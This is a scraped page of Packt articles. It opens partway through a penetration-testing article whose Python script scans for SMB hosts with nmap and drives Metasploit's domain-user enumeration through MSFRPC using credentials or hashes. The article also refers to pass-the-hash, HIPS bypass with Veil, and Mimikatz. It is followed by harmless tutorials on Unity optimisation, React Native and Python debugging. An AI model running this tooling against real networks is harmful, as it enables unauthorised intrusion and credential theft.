have SMB services. This Metasploit module takes advantage of RPCDCE, which does not run on port 445, but we are verifying that the service is available for follow-on exploitation. This file could then be fed back into the script, if you as an attacker find other credential sets to test as shown following: Lastly, the script can be passed hashes directly just like the Metasploit module as shown following: The output will be slightly different for each running of the script, depending on the console identifier you grab to execute the command. The only real difference will be the additional banner items typical with a Metasploit console initiation. Now there are a couple things that have to be stated, yes you could just generate a resource file, but when you start getting into organizations that have millions of IP addresses, this becomes unmanageable. Also the MSFRPC can have resource files fed directly into it as well, but it can significantly slow the process. If you want to compare, rewrite this script to do the same test as the previous ssh_login.py script you wrote, but with direct MSFRPC integration. Like all scripts libraries are needed to be established, most of these you are already familiar with, the newest one relates to the MSFRPC by SpiderLabs. The required libraries for this script can be seen as follows: import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python- nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces") We then build a module, to identify relevant targets that are going to have the auxiliary module run against it. First, we setup the constructors and the passed parameters. Notice that we have two service names to test against for this script, microsoft-ds and netbios-ssn, as either one could represent port 445 based on the nmap results. def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend) After which, we configure the nmap scanner to scan for details either by file or by command line. Notice that the hostlist is a string of all the addresses loaded by the file, and they are separated by spaces. The ipfile is opened and read and then all newlines are replaced with spaces as they are loaded into the string. This is a requirement for the specific hosts argument of the nmap library. if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace('n',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host(s) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!") The IP addresses for all of the interfaces on the attack system are removed from the test pool. for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None Finally, the details are then written to the relevant output file and python lists, and then returned to the original call origin. if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + "n" e.write(hostdata) hostlist.append(host) else: if verbose > 0: print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist The next function creates the actual command that will be executed; this function will be called for each host the scan returned back as a potential target. def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module The last function actually initiates the connection with the MSFRPC and executes the relevant command per specific host. def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False The script creates a connection with the MSFRPC and creates console then tracks it by a specific console_id. Do not forget, the msfconsole can have multiple sessions, and as such we have to track our session to a console_id. client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) The script then iterates over the list of IP addresses that were confirmed to have an active SMB service. The script then creates the necessary commands for each of those IP addresses. for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip)) The command is then written to the console and we wait for the results. client.call('console.write',[console_id, command]) time.sleep(1) while done != True: We await the results for each command execution and verify the data that has been returned and that the console is not still running. If it is, we delay the reading of the data. Once it has completed, the results are written in the specified output file. result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True We close the file and destroy the console to clean up the work we had done. e.closed client.call('console.destroy',[console_id]) The final pieces of the script are related to setting up the arguments, setting up the constructors and calling the modules. These components are similar to previous scripts and have not been included here for the sake of space, but the details can be found at the previously mentioned location on GitHub. The last requirement is loading of the msgrpc at the msfconsole with the specific password that we want. So launch the msfconsole and then execute the following within it. load msgrpc Pass=msfrpcpassword The command was not mistyped, Metasploit has moved to msgrpc verses msfrpc, but everyone still refers to it as msfrpc. The big difference is the msgrpc library uses POST requests to send data while msfrpc used eXtensible Markup Language (XML). All of this can be automated with resource files to set up the service. Summary In this article, we highlighted a manner in which you can move through a sample environment. Specifically, how to exploit a relative box, escalate privileges, and extract additional credentials. From that position, we identified other viable hosts we could laterally move into and the users who were currently logged into them. We generated custom payloads with the Veil Framework to bypass HIPS, and executed a PtH attack. This allowed us to extract other credentials from memory with the tool Mimikatz. We then automated the identification of viable secondary targets and the users logged into them with Python and MSFRPC. Resources for Article: Further resources on this subject: Basics of Jupyter Notebook and Python[article] Scraping the Data[article] Modeling complex functions with artificial neural networks [article]
Read more
  • 0
  • 0
  • 16067

article-image-scripting-strategies
Packt
24 Sep 2015
9 min read
Save for later

Scripting Strategies

Packt
24 Sep 2015
9 min read
 In this article by Chris Dickinson, the author of Unity 5 Game Optimization, you will learn how scripting consumes a great deal of our development time and how it will be enormously beneficial to learn some best practices in optimizing scripts. Scripting is a very broad term, so we will try to limit our exposure in this article to situations that are Unity specific, focussing on problems arising from within the Unity APIs and Engine design. Whether you have some specific problems in mind that we wish to solve or whether you just want to learn some techniques for future reference, this article will introduce you to methods that you can use to improve your scripting effort now and in the future. In each case, we will explore how and why the performance issue arises, an example situation where the problem is occurring, and one or more solutions to combat the issue. (For more resources related to this topic, see here.) Cache Component references A common mistake when scripting in Unity is to overuse the GetComponent() method. For example, the following script code is trying to check a creature's health value, and if its health goes below 0, then disable a series of components to prepare it for a death animation: void TakeDamage() { if (GetComponent<HealthComponent>().health < 0) { GetComponent<Rigidbody>().enabled = false; GetComponent<Collider>().enabled = false; GetComponent<AIControllerComponent>().enabled = false; GetComponent<Animator>().SetTrigger("death"); } } Each time this method executes, it will reacquire five different Component references. This is good in terms of heap memory consumption (in that, it doesn't cost any), but it is not very friendly on CPU usage. This is particularly problematic if the main method were called during Update(). Even if it is not, it still might coincide with other important events such as creating particle effects, replacing an object with a ragdoll (thus invoking various activity in the physics engine), and so on. This coding style can seem harmless, but it could cause a lot of long-term problems and runtime work for very little benefit. It costs us very little memory space (only 32 or 64 bits each; Unity version, platform and fragmentation-permitting) to cache these references for future usage. So, unless we're extremely bottlenecked on memory, a better approach will be to acquire the references during initialization and keep them until they are needed: private HealthComponent _healthComponent; private Rigidbody _rigidbody; private Collider _collider; private AIControllerComponent _aiController; private Animator _animator; void Awake() { _healthComponent = GetComponent<HealthComponent>(); _rigidbody = GetComponent<Rigidbody>(); _collider = GetComponent<Collider>(); _aiController = GetComponent<AIControllerComponent>(); _animator = GetComponent<Animator>(); } void TakeDamage() { if (_healthComponent.health < 0) { _rigidbody.detectCollisions = false; _collider.enabled = false; _aiController.enabled = false; _animator.SetTrigger("death"); } } Caching the Component references in this way spares us from reacquiring them each time they're needed, saving us some CPU overhead each time, at the expense of some additional memory consumption. Obtain components using the fastest method There are several variations of the GetComponent() method, and it becomes prudent to call the fastest version of this method as possible. The three overloads available are GetComponent(string), GetComponent<T>(), and GetComponent(typeof(T)). It turns out that the fastest version depends on which version of Unity we are running. In Unity 4, the GetComponent(typeof(T)) method is the fastest of the available options by a reasonable margin. Let's prove this with some simple testing: int numTests = 1000000; TestComponent test; using (new CustomTimer("GetComponent(string)", numTests)) { for (var i = 0; i < numTests; ++i) { test = (TestComponent)GetComponent("TestComponent"); } } using (new CustomTimer("GetComponent<ComponentName>", numTests)) { for (var i = 0; i < numTests; ++i) { test = GetComponent<TestComponent>(); } } using (new CustomTimer("GetComponent(typeof(ComponentName))", numTests)) { for (var i = 0; i < numTests; ++i) { test = (TestComponent)GetComponent(typeof(TestComponent)); } } This code tests each of the GetComponent() overloads one million times. This is far more tests than would be sensible for a typical project, but it is enough tests to prove the point. Here is the result we get when the test completes: As we can see, GetComponent(typeof(T)) is significantly faster than GetComponent<T>(), which is around five times faster than GetComponent(string). This test was performed against Unity 4.5.5, but the behavior should be equivalent all the way back to Unity 3.x. The GetComponent(string) method should not be used, since it is notoriously slow and is only included for completeness. These results change when we run the exact same test in Unity 5. Unity Technologies made some performance enhancements to how System.Type references are passed around in Unity 5.0 and as a result, GetComponent<T>() and GetComponent(typeof(T)) become essentially equivalent: As we can see, the GetComponent<T>() method is only a tiny fraction faster than GetComponent(typeof(T)), while GetComponent(string) is now around 30 times slower than the alternatives (interestingly, it became even slower than it was in Unity 4). Multiple tests will probably yield small variations in these results, but ultimately we can favor either of the type-based versions of GetComponent() when we're working in Unity 5 and the outcome will be about the same. However, there is one caveat. If we're running Unity 4, then we still have access to a variety of quick accessor properties such as collider, rigidbody, camera, and so on. These properties behave like precached Component member variables, which are significantly faster than all of the traditional GetComponent() methods: int numTests = 1000000; Rigidbody test; using (new CustomTimer("Cached reference", numTests)) { for (var i = 0; i < numTests; ++i) { test = gameObject.rigidbody; } } Note that this code is intended for Unity 4 and cannot be compiled in Unity 5 due to the removal of the rigidbody property. Running this test in Unity 4 gives us the following result: In an effort to reduce dependencies and improve code modularization in the Engine's backend, Unity Technologies deprecated all of these quick accessor variables in Unity5. Only the transform property remains. Unity 4 users considering an upgrade to Unity 5 should know that upgrading will automatically modify any of these properties to use the GetComponent<T>() method. However, this will result in un-cached GetComponent<T>() calls scattered throughout our code, possibly requiring us to revisit the techniques introduced in the earlier section titled Cache Component References. The moral of the story is that if we are running Unity 4, and the required Component is one of GameObject's built-in accessor properties, then we should use that version. If not, then we should favor GetComponent(typeof(T)). Meanwhile, if we're running Unity5, then we can favor either of the type-based versions: GetComponent<T>() or GetComponent(typeof(T)). Remove empty callback declarations When we create new MonoBehaviour script files in Unity, irrespective we're using Unity 4 or Unity 5, it creates two boiler-plate methods for us: // Use this for initialization void Start () { } // Update is called once per frame void Update () { } The Unity Engine hooks in to these methods during initialization and adds them to a list of methods to call back to at key moments. But, if we leave these as empty declarations in our codebase, then they will cost us a small overhead whenever the Engine invokes them. The Start() method is only called when the GameObject is instantiated for the first time, which could be whenever the Scene is loaded, or a new GameObject is instantiated from a Prefab. Therefore, leaving the empty Start() declaration may not be particularly noticeable unless there's a lot of GameObjects in the Scene invoking them at startup time. But, it also adds unnecessary overhead to any GameObject.Instantiate() call, which typically happens during key events, so they could potentially contribute to, and exacerbate, an already poor performance situation when lots of events are happening simultaneously. Meanwhile, the Update() method is called every time the Scene is rendered. If our Scene contains thousands of GameObjects owning components with these empty Update() declarations, then we can be wasting a lot of CPU cycles and cause havoc on our frame rate. Let's prove this with a simple test. Our test Scene should have GameObjects with two types of components. One type is with an empty Update() declaration and another with no methods defined: public class CallbackTestComponent : MonoBehaviour { void Update () {} } public class EmptyTestComponent : MonoBehaviour { } Here are the test results for 32,768 components of each type. If we enable all objects with no stub methods during runtime, then nothing interesting happens with CPU usage in the Profiler. We may note that some memory consumption changes and a slight difference in the VSync activity, but nothing very concerning. However, as soon as we enable all the objects with empty Unity callback declarations, then we will observe a huge increase in CPU usage: The fix for this is simple; delete the empty declarations. Unity will have nothing to hook into, and nothing will be called. Sometimes, finding such empty declarations in an expansive codebase can be difficult, but using some basic regular expressions (regex), we should be able to find what we're looking for relatively easily. All common code-editing tools for Unity, such as MonoDevelop, Visual Studio, and even Notepad++, provide a way to perform a regex-based search on the entire codebase–check the tool's documentation for more information, since the method can vary greatly depending on the tool and its version. The following regex search should find any empty Update() declarations in our code: voids*Updates*?(s*?)s*?n*?{n*?s*?} This regex checks for a standard method definition of the Update() method, while including any surplus whitespace and newline characters that can be distributed throughout the method declaration. Naturally, all of the above is also true for non-boilerplate Unity callbacks, such as OnGUI(), OnEnable(), OnDestroy(), FixedUpdate(), and so on. Check the MonoBehaviour Unity Documentation page for a complete list of these callbacks at http://docs.unity3d.com/ScriptReference/MonoBehaviour.html. It might seem unlikely that someone generated empty versions of these callbacks in our codebase, but never say never. For example, if we use a common base class MonoBehaviour throughout all of our custom components, then a single empty callback declaration in that base class will permeate the entire game, which could cost us dearly. Be particularly careful of the OnGUI() method, as it can be invoked multiple times within the same frame or user interface (UI) event. Summary In this article, you have learned how you can optimize scripts while creating less CPU and memory-intensive applications and games. You learned about the Cache Component references and how you can optimize a code using the fastest method. For more information on code optimization, you can visit: http://www.paladinstudios.com/2012/07/30/4-ways-to-increase-performance-of-your-unity-game/ http://docs.unity3d.com/Manual/OptimizingGraphicsPerformance.html Resources for Article: Further resources on this subject: Components in Unity[article] Saying Hello to Unity and Android[article] Unity 3-0 Enter the Third Dimension [article]
Read more
  • 0
  • 0
  • 54460
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime
article-image-introduction-react-native
Eugene Safronov
23 Sep 2015
7 min read
Save for later

Introduction to React Native

Eugene Safronov
23 Sep 2015
7 min read
React is an open-sourced JavaScript library made by Facebook for building UI applications. The project has a strong emphasis on the component-based approach and utilizes the full power of JavaScript for constructing all elements. The React Native project was introduced during the first React conference in January 2015. It allows you to build native mobile applications using the same concepts from React. In this post I am going to explain the main building blocks of React Native through the example of an iOS demo application. I assume that you have previous experience in writing web applications with React. Setup Please go through getting started section on the React Native website if you would like to build an application on your machine. Quick start When all of the necessary tools are installed, let's initialize the new React application with the following command: react-native init LastFmTopArtists After the command fetches the code and the dependencies, you can open the new project (LastFmTopArtists/LastFmTopArtists.xcodeproj) in Xcode. Then you can build and run the app with cmd+R. You will see a similar screen on the iOS simulator: You can make changes in index.ios.js, then press cmd+R and see instant changes in the simulator. Demo app In this post I will show you how to build a list of popular artists using the Last.fm api. We will display them with help of ListView component and redirect on the artist page using WebView. First screen Let's start with adding a new screen into our application. For now it will contain dump text. Create file ArtistListScreen with the following code: var React = require('react-native'); var { ListView, StyleSheet, Text, View, } = React; class ArtistListScreen extendsReact.Component { render() { return ( <View style={styles.container}> <Text>Artist list would be here</Text> </View> ); } } var styles = StyleSheet.create({ container: { flex: 1, backgroundColor: 'white', marginTop: 64 } }) module.exports = ArtistListScreen; Here are some things to note: I declare react components with ES6 Classes syntax. ES6 Destructuring assignment syntax is used for React objects declaration. FlexBox is a default layout system in React Native. Flex values can be either integers or doubles, indicating the relative size of the box. So, when you have multiple elements they will fill the relative proportion of the view based on their flex value. ListView is declared but will be used later. From index.ios.js we call ArtistListScreen using NavigatorIOS component: var React = require('react-native'); var ArtistListScreen = require('./ArtistListScreen'); var { AppRegistry, NavigatorIOS, StyleSheet } = React; var LastFmArtists = React.createClass({ render: function() { return ( <NavigatorIOS style={styles.container} initialRoute={{ title: "last.fm Top Artists", component: ArtistListScreen }} /> ); } }); var styles = StyleSheet.create({ container: { flex: 1, backgroundColor: 'white', }, }); Switch to iOS Simulator, refresh with cmd+R and you will see: ListView After we have got the empty screen, let's render some mock data in a ListView component. This component has a number of performance improvements such as rendering of only visible elements and removing which are off screen. The new version of ArtistListScreen looks like the following: class ArtistListScreen extendsReact.Component { constructor(props) { super(props) this.state = { isLoading: false, dataSource: newListView.DataSource({ rowHasChanged: (row1, row2) => row1 !== row2 }) } } componentDidMount() { this.loadArtists(); } loadArtists() { this.setState({ dataSource: this.getDataSource([{name: 'Muse'}, {name: 'Radiohead'}]) }) } getDataSource(artists: Array<any>): ListView.DataSource { returnthis.state.dataSource.cloneWithRows(artists); } renderRow(artist) { return ( <Text>{artist.name}</Text> ); } render() { return ( <View style={styles.container}> <ListView dataSource={this.state.dataSource} renderRow={this.renderRow.bind(this)} automaticallyAdjustContentInsets={false} /> </View> ); } } Side notes: The DataSource is an interface that ListView is using to determine which rows have changed over the course of updates. ES6 constructor is an analog of getInitialState. The end result of the changes: Api token The Last.fm web api is free to use but you will need a personal api token in order to access it. At first it is necessary to join Last.fm and then get an API account. Fetching real data I assume you have successfully set up the API account. Let's call a real web service using fetch API: const API_KEY='put token here'; const API_URL = 'http://ws.audioscrobbler.com/2.0/?method=geo.gettopartists&country=ukraine&format=json&limit=40'; const REQUEST_URL = API_URL + '&api_key=' + API_KEY; loadArtists() { this.setState({ isLoading: true }); fetch(REQUEST_URL) .then((response) => response.json()) .catch((error) => { console.error(error); }) .then((responseData) => { this.setState({ isLoading: false, dataSource: this.getDataSource(responseData.topartists.artist) }) }) .done(); } After a refresh, the iOS simulator should display: ArtistCell Since we have real data, it is time to add artist's images and rank them on the display. Let's move artist cell display logic into separate component ArtistCell: 'use strict'; var React = require('react-native'); var { Image, View, Text, TouchableHighlight, StyleSheet } = React; class ArtistCell extendsReact.Component { render() { return ( <View> <View style={styles.container}> <Image source={{uri: this.props.artist.image[2]["#text"]}} style={styles.artistImage} /> <View style={styles.rightContainer}> <Text style={styles.rank}>## {this.props.artist["@attr"].rank}</Text> <Text style={styles.name}>{this.props.artist.name}</Text> </View> </View> <View style={styles.separator}/> </View> ); } } var styles = StyleSheet.create({ container: { flex: 1, flexDirection: 'row', justifyContent: 'center', alignItems: 'center', padding: 5 }, artistImage: { height: 84, width: 126, marginRight: 10 }, rightContainer: { flex: 1 }, name: { textAlign: 'center', fontSize: 14, color: '#999999' }, rank: { textAlign: 'center', marginBottom: 2, fontWeight: '500', fontSize: 16 }, separator: { height: 1, backgroundColor: '#E3E3E3', flex: 1 } }) module.exports = ArtistCell; Changes in ArtistListScreen: // declare new component var ArtistCell = require('./ArtistCell'); // use it in renderRow method: renderRow(artist) { return ( <ArtistCell artist={artist} /> ); } Press cmd+R in iOS Simulator: WebView The last piece of the application would be to open a web page by clicking in ListView. Declare new component WebView: 'use strict'; var React = require('react-native'); var { View, WebView, StyleSheet } = React; class Web extendsReact.Component { render() { return ( <View style={styles.container}> <WebView url={this.props.url}/> </View> ); } } var styles = StyleSheet.create({ container: { flex: 1, backgroundColor: '#F6F6EF', flexDirection: 'column', }, }); Web.propTypes = { url: React.PropTypes.string.isRequired }; module.exports = Web; Then by using TouchableHighlight we will call onOpenPage from ArtistCell: class ArtistCell extendsReact.Component { render() { return ( <View> <TouchableHighlight onPress={this.props.onOpenPage} underlayColor='transparent'> <View style={styles.container}> <Image source={{uri: this.props.artist.image[2]["#text"]}} style={styles.artistImage} /> <View style={styles.rightContainer}> <Text style={styles.rank}>## {this.props.artist["@attr"].rank}</Text> <Text style={styles.name}>{this.props.artist.name}</Text> </View> </View> </TouchableHighlight> <View style={styles.separator}/> </View> ); } } Finally open web page from ArtistListScreen component: // declare new component var WebView = require('WebView'); class ArtistListScreen extendsReact.Component { // will be called on touch from ArtistCell openPage(url) { this.props.navigator.push({ title: 'Web View', component: WebView, passProps: {url} }); } renderRow(artist) { return ( <ArtistCell artist={artist} // specify artist's url on render onOpenPage={this.openPage.bind(this, artist.url)} /> ); } } Now a touch on any cell in ListView will load a web page for selected artist: Conclusion You can explore source code of the app on Github repo. For me it was a real fun to play with React Native. I found debugging in Chrome and error stack messages extremely easy to work with. By using React's component-based approach you can build complex UI without much effort. I highly recommend to explore this technology for rapid prototyping and maybe for your next awesome project. Useful links Building a flashcard app with React Native Examples of React Native apps React Native Videos Video course on React Native Want more JavaScript? Visit our dedicated page here. About the author Eugene Safronov is a software engineer with a proven record of delivering high quality software. He has an extensive experience building successful teams and adjusting development processes to the project’s needs. His primary focuses are Web (.NET, node.js stacks) and cross-platform mobile development (native and hybrid). He can be found on Twitter @sejoker.
Read more
  • 0
  • 0
  • 4446

article-image-debugging-applications-pdb-and-log-files
Packt
23 Sep 2015
13 min read
Save for later

Debugging Applications with PDB and Log Files

Packt
23 Sep 2015
13 min read
 In this article by Dan Nixon of the book Getting Started with Python and Raspberry Pi, we will learn more about how to debug Python code using the Python Debugger (PDB) tool and how we can use the Python logging framework to make complex applications written in Python easier to debug when they fail. (For more resources related to this topic, see here.) We will also look at the technique of unit testing and how the unittest Python module can be used to test small sections of a Python application to ensure that it is functioning as expected. These techniques are commonly used in applications written in other languages and are good skills to learn if you are often going to be developing applications. The Python debugger PDB is a tool that allows real time debugging of running Python code. It can help to track down issues with the logic of a program to help find the cause of a crash or unexpected behavior. PDB can be launched with the following command: pdb2.7 do_calculaton.py This will open a new PDB shell, as shown in the following screenshot: We can use the continue command (which can be shortened to c) to execute the next section of the code until a breakpoint is hit. As we are yet to declare any breakpoints, this will run the script until it exits normally, as shown in the following screenshot: We can set breakpoints in the application, where the program will be stopped, and you will be taken back to the PDB shell in order to debug the control flow of the program. The easiest way to set a breakpoint is by giving a specific line in a file, for example: break Operation.py:7 This command will add a breakpoint on line 7 of Operation.py. When this is added, PDB will confirm the file and the line number, as shown in the following screenshot: Now, when we run the application, we will see the program stop each time the breakpoint is reached. When a breakpoint is reached, we can resume the program using the c command: When paused at a breakpoint, we can view the details of the local variables in the current scope. For example, in the breakpoint we have added, there is a variable named name, which we can see the value of by using the following command: p name This outputs the value of the variable, as shown in the following screenshot: When at a breakpoint, we can also get a stack trace of the functions that have been called so far. This is done using the bt command and gives output like that shown in the following screenshot: We can also modify the values of the variables when paused at a breakpoint. To do this, simply assign a value to the variable name as you would in a regular Python script: name = 'subtract' In the following screenshot, this was used to change the first operation in the do_calculation.py script from add to subtract; the effect on the calculation is seen in the different result value: When at a breakpoint, we can also use the l command to see the current line the program is paused at. An example of this is shown in the following screenshot: We can also setup a series of commands to be executed when we hit a breakpoint. This can allow debugging to be automated to an extent by automatically recording or modifying the values of the variables at certain points in the program's execution. This can be demonstrated using the following commands on a new instance of PDB with no breakpoints set (first, quit PDB using the q command, and then re-launch it): break Operation.py:7 commands p name c This gives the following output. Note that the commands are entered on a terminal prefixed (com) rather than the PDB terminal prefixed (pdb). This set of commands tells PDB to print the value of the name variable and continue execution when the last added breakpoint was hit. This gives the output shown in the following screenshot: Within PDB, you can also use the ? command to get a full list of the available commands and help on using them, as shown in the following screenshot: Further information and full documentation on PDB is available at https://docs.python.org/2/library/pdb.html. Writing log files The next technique we will look at is having our application output a log file. This allows us to get a better understanding of what was happening at the time an application failed, which can provide key information into finding the cause of the failure, especially when the failure is being reported by a user of your application. We will add some logging statements to the Calculator.py and Operation.py files. To do this, we must first add the import for the logging module (https://docs.python.org/2/library/logging.html) to the start of each python file, which is simply: import logging In the Operation.py file, we will add two logging calls in the evaluate function, as shown in the following code: def evaluate(self, a, b): logging.getLogger(__name__).info("Evaluating operation: %s" % (self._operation)) logging.getLogger(__name__).debug("RHS: %f, LHS: %f" % (a, b)) This will output two logging statements: one at the debug level and one at the information level. There are in total five unique levels at which messages can be output. In increasing severity, they are: debug() info() warning() error() critical() Log handlers can be filtered to only process the log messages of a certain severity if required. We will see this in action later in this section. The logging.getLogger(__name__) call is used to retrieve the Logger class for the current module (where the name of the module is given by the __name__ variable). By default, each module uses its own Logger class identified by the name of the module. Next, we can add some debugging statements to the Calculator.py file in the same way. Here, we will add logging to the enter_value, enter_operation, evaluate, and all_clear functions, as shown in the following code snippet: def enter_value(self, value): if len(self._input_list) > 0 and not isinstance(self._input_list[-1], Operation): raise RuntimeError("Must enter an operation next") logging.getLogger(__name__).info("Adding value: %f" % (value)) self._input_list.append(float(value)) def enter_operation(self, operation_name): if len(self._input_list) == 0 or isinstance(self._input_list[-1], Operation): raise RuntimeError("Must enter a value next") logging.getLogger(__name__).info("Adding operation: %s" % (operation_name)) self._input_list.append(Operation(operation_name)) def evaluate(self): logging.getLogger(__name__).info("Evaluating calculation") if len(self._input_list) % 2 == 0: raise RuntimeError("Input length mismatch") self._result = self._input_list[0] for idx in range(1, len(self._input_list), 2): operation = self._input_list[idx] next_value = self._input_list[idx + 1] logging.getLogger(__name__).debug("Next function: %f %s %f" % ( self._result, str(operation), next_value)) self._result = operation.evaluate(self._result, next_value) logging.getLogger(__name__).info("Result is: %f" % (self._result)) return self._result def all_clear(self): logging.getLogger(__name__).info("Clearing calculator") self._input_list = [] self._result = 0.0 Finally, we need to configure a handler for the log messages. This is what will handle the messages sent by each logger and output them to a suitable destination; for example, the standard output or a file. We will configure this in the do_conversion.py file. First, we will configure a basic handler that will print all the log messages to the standard output so that they appear on the terminal. This can be achieved with the following code: logging.basicConfig(level=logging.DEBUG) We will also add the following line to the end of the script. This is used to close any open log handlers and should be included at the very end of an application (the logging framework should not be used after calling this function). logging.shutdown() Now, we can see the effects by running the script using the following command: python do_calculation.py This will give an output to the terminal, as shown in the following screenshot: We can also have the log output written to a file instead of printed to the terminal by adding a filename to the logger configuration. This helps to keep the terminal free of unnecessary information. logging.basicConfig(level=logging.DEBUG, filename='calc.log') When executed, this will give no additional output other than the result of the calculation, but will have created an additional file, calc.log, which contains the log messages, as shown in the following screenshot: Unit testing Unit testing is a technique for automated testing of small sections ("units") of code to ensure that the components of a larger application are working as intended, independently of each other. There are many frameworks for this in almost every language. In Python, we will be using the unittest module, as this is included with the language and is the most common framework used in the Python applications. To add unit tests to our calculator module, we will create an additional module in the same directory named test. Inside that will be three files: __init__.py (used to denote that a directory is a Python package), test_Calculator.py, and test_Operation.py. After creating this additional module, the structure of the code will be the same as shown in the following image: Next, we will modify the test_Operation.py file to include a test case for the Operation class. As always, this will start with the required imports for the modules we will be using: import unittest from calculator.Operation import Operation We will be creating a class, test_Operation, which inherits from the TestCase class provided by the unittest module. This contains the logic required to run the functions of the class as individual unit tests. class test_Operation(unittest.TestCase): Now, we will define four tests to test the creation of a new Operation instance for each of the operations that are supported by the class. Here, the assertEquals function is used to test for equality between two variables; this determines if the test passes or not. def test_create_add(self): op = Operation('add') self.assertEqual(str(op), 'add') def test_create_subtract(self): op = Operation('subtract') self.assertEqual(str(op), 'subtract') def test_create_multiply(self): op = Operation('multiply') self.assertEqual(str(op), 'multiply') def test_create_divide(self): op = Operation('divide') self.assertEqual(str(op), 'divide') In this test we are checking that a RuntimeError is raised when an unknown operation is given to the Operation constructor. We will do this using the assertRaises function. def test_create_fails(self): self.assertRaises(ValueError, Operation, 'not_a_function') Next, we will create four tests to ensure that each of the known operations evaluates to the correct result: def test_add(self): op = Operation('add') result = op.evaluate(5, 2) self.assertEqual(result, 7) def test_subtract(self): op = Operation('subtract') result = op.evaluate(5, 2) self.assertEqual(result, 3) def test_multiply(self): op = Operation('multiply') result = op.evaluate(5, 2) self.assertEqual(result, 10) def test_divide(self): op = Operation('divide') result = op.evaluate(5, 2) self.assertEqual(result, 2) This will form the test case for the Operation class. Typically, the test file for a module should have the name of the module prefixed by test, and the name of each test function within a test case class should start with test. Next, we will create a test case for the Calculator class in the test_Calculator.py file. This again starts by importing the required modules and defining the class: import unittest from calculator.Calculator import Calculator class test_Operation(unittest.TestCase): We will now add two test cases that test the correct handling of errors when operations and values are entered in the incorrect order. This time, we will use the assertRaises function to create a context to test for RuntimeError being raised. In this case, the error must be raised by any of the code within the context. def test_add_value_out_of_order_fails(self): with self.assertRaises(RuntimeError): calc = Calculator() calc.enter_value(5) calc.enter_value(5) calc.evaluate() def test_add_operation_out_of_order_fails(self): with self.assertRaises(RuntimeError): calc = Calculator() calc.enter_operation('add') calc.evaluate() This test is to ensure that the all_clear function works as expected. Note that, here, we have multiple test assertions in the function, and all assertions have to pass for the test to pass. def test_all_clear(self): calc = Calculator() calc.enter_value(5) calc.evaluate() self.assertEqual(calc.get_result(), 5) calc.all_clear() self.assertEqual(calc.get_result(), 0) This test ensured that the evaluate() function works as expected and checks the output of a known calculation. Note, here, that we are using the assertAlmostEqual function, which ensures that two numerical variables are equal within a given tolerance, in this case 13 decimal places. def test_evaluate(self): calc = Calculator() calc.enter_value(5.0) calc.enter_operation('multiply') calc.enter_value(2.0) calc.enter_operation('divide') calc.enter_value(5.0) calc.enter_operation('add') calc.enter_value(18.0) calc.enter_operation('subtract') calc.enter_value(5.0) self.assertAlmostEqual(calc.evaluate(), 15.0, 13) self.assertAlmostEqual(calc.get_result(), 15.0, 13) These two tests will test that the errors are handled correctly when the evaluate() function is called, when there are values missing from the input or the input is empty: def test_evaluate_failure_empty(self): with self.assertRaises(RuntimeError): calc = Calculator() calc.enter_operation('add') calc.evaluate() def test_evaluate_failure_missing_value(self): with self.assertRaises(RuntimeError): calc = Calculator() calc.enter_value(5) calc.enter_operation('add') calc.evaluate() That completes the test case for the Calculator class. Note that we have only used a small subset of the available test assertions over our two test classes. A full list of all the test assertions is available in the unittest module documentation at https://docs.python.org/2/library/unittest.html#test-cases. Once all the tests are written, they can be executed using the following command in the directory containing both the calculator and tests directories: python -m unittest discover -v Here, we have the unit test framework discover all the tests automatically (which is why following the expected naming convention of prefixing names with "test" is important). We also request verbose output with the -v parameter, which shows all the tests executed and their results, as shown in the following screenshot: Summary In this article, we looked at how the PDB tool can be used to find faults in Python code and applications. We also looked at using the logging module to have Python code output a log file during execution and how this can make debugging the failures easier, as well as automated unit testing for portions of the application. Resources for Article: Further resources on this subject: Basic Image Processing[article] IRemote Desktop to Your Pi from Everywhere[article] Scraping the Data [article]
Read more
  • 0
  • 0
  • 13393

article-image-learning-nodejs-mobile-application-development
Packt
23 Sep 2015
5 min read
Save for later

Learning Node.js for Mobile Application Development

Packt
23 Sep 2015
5 min read
